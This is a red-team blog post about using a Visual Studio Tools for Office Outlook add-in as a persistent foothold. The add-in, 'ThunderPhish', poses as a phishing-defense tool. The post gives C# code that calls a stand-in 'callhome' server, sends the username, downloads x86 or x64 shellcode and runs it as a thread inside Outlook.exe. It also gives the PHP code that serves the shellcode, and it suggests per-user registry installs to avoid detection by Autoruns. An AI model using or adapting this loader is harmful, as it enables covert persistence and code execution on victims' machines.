Persistent VSTO

Hey all,

Lately I’ve been playing around with Visual Studio Tools for Office (VSTO) as a persistent foothold.  VSTOs are Microsoft Office add-ins that can enhance the user’s experience or automate tasks.  Enabled add-ins are run every time the target Office application is started, a perfect persistence point.  VSTOs can be written in C# or VB, and if done correctly, do not require administrative privileges to install.

Because of this event driven nature and the non-admin installation, I think VSTOs could be a decent addition to a phishing installation package.  I’ve put together a proof of concept which can be found at

What This is Not

A complete installation package.  This persistent VSTO would need to be included in some sort of a larger installation package.  Fortunately, I plan on posting about this at a later date.

How to Defend

Sysinternals Autoruns checks for Office add-ins; however, unless I’m missing something, it only displays the HKLM\Software\Microsoft\Office\**Office App**\Addins.  Personally, I would target HKU instead (non-admin) which is not tracked by Autoruns.

The Legitimate Code

The ThunderVSTO project is a .NET4.5 Outlook add-in that masquerades as a phishing defense application.  From a legitimate standpoint, it doesn’t do anything except show a cheesy display.


The Not-So Legitimate Code

When Outlook starts up, ThunderPhish uses the WebClient Class to call home to a target web server and check the application version.  I received mixed messages whether WebClient would use the default proxy settings so I ended up trying it in my home lab against an NTLM authenticated web proxy, it worked.  Updates.php doesn’t have any php code, the clientupdate variable is sent to just legitimatize the web transaction.  Additionally, ThunderPhish does send the username so it can be pulled from the access.log and included in the final engagement report.

string updateString = wc.DownloadString("http://**callhome**/api/updates.php?clientupdate=yes&user=" + Environment.UserName);
if (updateString.Contains("2.0.2"))

If “update version” is 2.0.2 the application will continue with it’s not-so-legitimate ways.  Personally, I feel that this is an excellent opportunity to control the exploitation process.  This example includes a quick and dirty ON/OFF switch for the injection of shellcode. However, one could take it to the next level and filter based on username, domain, time or whatever … valuable depending on your rules of engagement.


Since ThunderPhish creates a thread instead of spawning a new process, we need to identify if the parent process is x86 or x64 which is achieved by using the IntPtr.Size.

if (updateString.Contains("2.0.2"))
   if (IntPtr.Size == 4)
      binaryLoad = wc.DownloadString("http://**callhome**/api/updatefile.php?clientupdate=yes&arch=x86&user=" + Environment.UserName);
   else if (IntPtr.Size == 8)
      binaryLoad = wc.DownloadString("http://**callhome**/api/updatefile.php?clientupdate=yes&arch=x64&user=" + Environment.UserName);
      binaryLoad = wc.DownloadString("http://**callhome**/api/updatefile.php?error=true"); 

Once the bitness of the parent process is determined, ThunderPhish calls home with the PHP arch variable which will serve out your x86 or x64 shellcode.  I’ve included the PHP sample code for updatefile.php.

$arch = $_GET["arch"];

   echo "{ \"ThunderPhish\" {
   \"update\": \"true,\"
   \"version\": \"2.0.2\",";
   if($arch === "x86")
      echo "\"architecture\": \"x86\" \"update code\": ";
      echo "\"| **x86 Shellcode Here** |\" }";
   elseif($arch === "x64")
      echo "\"architecture\": \"x64\" \"update code\": ";
      echo "\"| **x64 Shellcode Here** |\" }";
      echo "\"architecture\": \"error\" }";
   echo " }";

ThunderPhish splits the shellcode using “|” as a delimiter and expects hex code with a space between every byte.


If everything goes according to plan ThunderPhish should execute the shellcode as a thread in Outlook.exe.


Testing with this code was very limited.  As always, spin up replicas of your targets and get a feel for persistent VSTOs before using during an engagement.

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s